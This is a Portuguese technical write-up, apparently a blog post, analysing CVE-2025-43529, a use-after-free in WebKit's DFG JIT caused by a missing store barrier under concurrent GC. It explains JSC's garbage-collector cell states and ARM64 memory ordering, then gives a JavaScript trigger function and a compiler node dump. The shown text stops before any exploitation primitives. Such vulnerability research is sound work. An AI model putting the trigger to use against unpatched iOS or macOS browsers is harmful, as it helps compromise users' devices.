
Exploit técnico para CVE-2025-43529, uma vulnerabilidade do compilador JIT DFG do WebKit que permite use-after-free via barreira de armazenamento ausente em GC concorrente, com primitivas de exploração completas para iOS e macOS.
A Apple lançou recentemente o iOS 26.2 e o iPadOS 26.2, junto com um aviso de segurança que inclui correções para vulnerabilidades no WebKit. Um bug no compilador DFG JIT (CVE-2025-43529) se destacou, então decidi investigá-lo.
O compilador JIT reconheceu corretamente que um nó Phi (onde múltiplos caminhos de fluxo de controle se fundem) havia escapado, mas não percebeu que os nós Upsilon do Phi também haviam escapado. Por causa disso, a compilação DFG StoreBarrierInsertionPhase pulou a inserção de uma Store Barrier, que é um mecanismo chave de segurança de memória. Como resultado, o GC concorrente pode perder objetos que deveria ter varrido, o que pode levar a um use-after-free.
Você pode encontrar o commit do patch aqui.
Confirmei que meu exploit funciona no iOS 26.1, iPadOS 26.1 e macOS Tahoe 26.0.1.
O JSC usa um modelo de GC geracional para gerenciar o heap de forma eficiente. Neste modelo, a memória é dividida em Eden (novo espaço) e espaço antigo com base na idade do objeto. Todos os objetos recém-alocados começam em Eden. Quando Eden enche, um GC Eden é acionado e quaisquer objetos sobreviventes são promovidos ao espaço antigo. Limpar objetos do espaço antigo requer um GC completo.
Para fazer o GC geracional funcionar, o GC precisa classificar os objetos como "já varridos", "precisa ser varrido" ou "precisa ser revardido".
No JSC, isso é rastreado usando o cellState de um objeto. (Todos os objetos gerenciados pelo GC herdam de JSCell.)
StructureID m_structureID;
union {
uint32_t m_blob;
struct {
IndexingType m_indexingTypeAndMisc;
JSType m_type;
TypeInfo::InlineTypeFlags m_flags;
CellState m_cellState;
};
};
cellState tem 1 byte e pode ser uma de três cores: Black (0), White (1) e Grey (2).
White significa um objeto que acabou de ser alocado em eden. No ciclo de GC atual, ele ainda não foi marcado. Se permanecer neste estado até o final do ciclo de GC, o objeto será coletado.
Black significa que o GC já terminou de marcar o objeto ou está no processo de marcá-lo. É basicamente tratado como vivo, embora o bit isMarked ainda possa estar desligado.
Grey significa um objeto que ainda precisa ser varrido. Mais precisamente, ele era originalmente Black, mas foi capturado pelo write barrier e adicionado ao remembered set. Em outras palavras, suas referências mudaram, então o GC precisa varri-lo novamente.
O JSC também possui GC Concorrente, que permite que a aplicação seja executada enquanto a memória está sendo recuperada. Se o GC está marcando um objeto em segundo plano e a aplicação muda o estado desse objeto ao mesmo tempo, você pode acabar com uma condição de corrida.
Para evitar isso, você precisa de garantias de ordenação. Como "escrever (store) A, depois ler (load) B" acontecendo exatamente nessa ordem. Mas no ARM64, por razões de desempenho, a CPU pode reordenar operações de memória. Isso significa que o GC pode ler o valor errado.
Então o JSC usa uma classe de dependência para confiar nas dependências de dados da CPU ou usa instruções ARM64 especiais como STLR e LDAR para impor ordenação. STLR garante que leituras/escritas anteriores se tornem visíveis antes do store (um release store). LDAR garante que leituras/escritas posteriores não possam se mover antes do load (um acquire load). Quando outra thread lê um objeto, LDAR é emparelhado com STLR para que ela possa observar com segurança os dados mais recentes.
DMB não é uma única instrução especial para um acesso. É uma barreira que força a ordenação em todos os acessos de memória ao seu redor. Ela garante que as operações de memória antes do DMB se tornem visíveis antes das operações depois dele.
O JSC tem três níveis JIT no total. Para equilibrar a velocidade de execução com o custo de compilação (memória/tempo), ele aplica otimizações e move o código para o próximo nível com base na frequência com que é executado.
Baseline JIT é o primeiro compilador JIT. Ele foca em gerar código nativo rapidamente com baixo overhead de compilação. DFG JIT é o próximo estágio após Baseline JIT, onde a otimização séria começa.
No nível DFG, as instruções JavaScript são convertidas em um grafo composto por nós IR do DFG. Usando as informações de tipo que coleta, o compilador realiza especulação para remover operações desnecessárias.
No pipeline de otimização DFG do JSC, a StoreBarrierInsertionPhase insere um StoreBarrier após nós que escrevem na memória, como PutByOffset.
CVE-2025-43529 é uma vulnerabilidade causada pela falha em inserir um StoreBarrier quando deveria ter sido inserido durante a StoreBarrierInsertionPhase.
Um StoreBarrier é um nó que atua como uma write barrier. É usado para preservar a correção em corridas com a thread de marcação.
O cenário de nó DFG vulnerável descrito no commit do patch se parece com isso:
BB#1
a: NewObject
b: NewObject
...
c: Upsilon(@b, ^f)
Branch(BB#2, BB#3)
BB#2
...
d: Something
e: Upsilon(@d, ^f)
Jump(BB#3)
BB#3
f: Phi(@c, @e)
...
g: PutByOffset(@a, @f)
...
h: PutByOffset(@b, ...)
...
Em BB#1, dois novos objetos são criados, e a execução ramifica para BB#2 ou BB#3. BB#2 então cai em BB#3. A parte interessante em BB#3 é o nó Phi. Isso significa que f é ou c ou e, e essa escolha é determinada pelos nós Upsilon upstream. Em BB#3, PutByOffset significa adicionar um valor a uma propriedade de objeto.
let A = { p0: 0x41414141 };
function jitme(flag) {
// BB#1
let a = { p0: 13.37 };
let b = { p0: 0x42424242 };
let f;
if (flag) {
// BB#2
f = b;
} else {
// BB#3
f = 1.1; // d
}
// BB#4
A.p0 = f;
b.p0 = a;
}
Se você usar a opção --dumpFTLDisassembly=true, pode inspecionar o assembly após a compilação FTL.
// Starting BB#3
0 3 60: D@46:< 1:-> Phi(JS|PureInt, Final|NonIntAsDouble, W:SideState, bc#50, ExitInvalid)
1 3 60: D@53:<!0:-> ZombieHint(Check:Untyped:D@79, MustGen, loc5, W:SideState, ClobbersExit, bc#50, ExitInvalid)
2 3 60: D@57:<!0:-> ExitOK(MustGen, W:SideState, bc#50, ExitValid)
3 3 60: D@63:<!0:-> KillStack(MustGen, loc8, W:Stack(loc8), ClobbersExit, bc#50, ExitValid)
4 3 60: D@60:<!0:-> ZombieHint(Check:Untyped:D@79, MustGen, loc8, W:SideState, ClobbersExit, bc#50, ExitInvalid)
5 3 60: D@67:<!0:-> KillStack(MustGen, loc9, W:Stack(loc9), ClobbersExit, bc#57, ExitValid)
6 3 60: D@66:<!0:-> ZombieHint(Check:Untyped:Kill:D@79, MustGen, loc9, W:SideState, ClobbersExit, bc#57, ExitInvalid)
7 3 60: D@69:<!0:-> FilterPutByStatus(Check:Untyped:D@65, MustGen, (Simple, <id='uid:(p0)'Replace: [0x301006550:[0x1006550/16803152, Object, (1/2, 0/0){p0:0}, NonArray, PropertyAddition, Proto:0x108008488, Leaf (Watched)]], offset = 0, viaGlobalProxy = false>), W:SideState, bc#66, ExitValid)
// D@65 : A
// D@46 : f
// A.p0 = f
8 3 60: D@70:<!0:-> PutByOffset(KnownCell:D@65, KnownCell:D@65, Check:Untyped:Kill:D@46, MustGen, id0{p0}, 0, W:NamedProperties(0), ClobbersExit, bc#66, ExitValid)
// StoreBarrier for D@65(A)
9 3 60: D@78:<!0:-> FencedStoreBarrier(Check:KnownCell:Kill:D@65, MustGen, R:Heap, W:JSCell_cellState, bc#66, ExitInvalid)
10 3 60: D@73:<!0:-> FilterPutByStatus(Check:Untyped:D@36, MustGen, (Simple, <id='uid:(p0)'Replace: [0x301006550:[0x1006550/16803152, Object, (1/2, 0/0){p0:0}, NonArray, PropertyAddition, Proto:0x108008488, Leaf (Watched)]], offset = 0, viaGlobalProxy = false>), W:SideState, bc#72, ExitValid)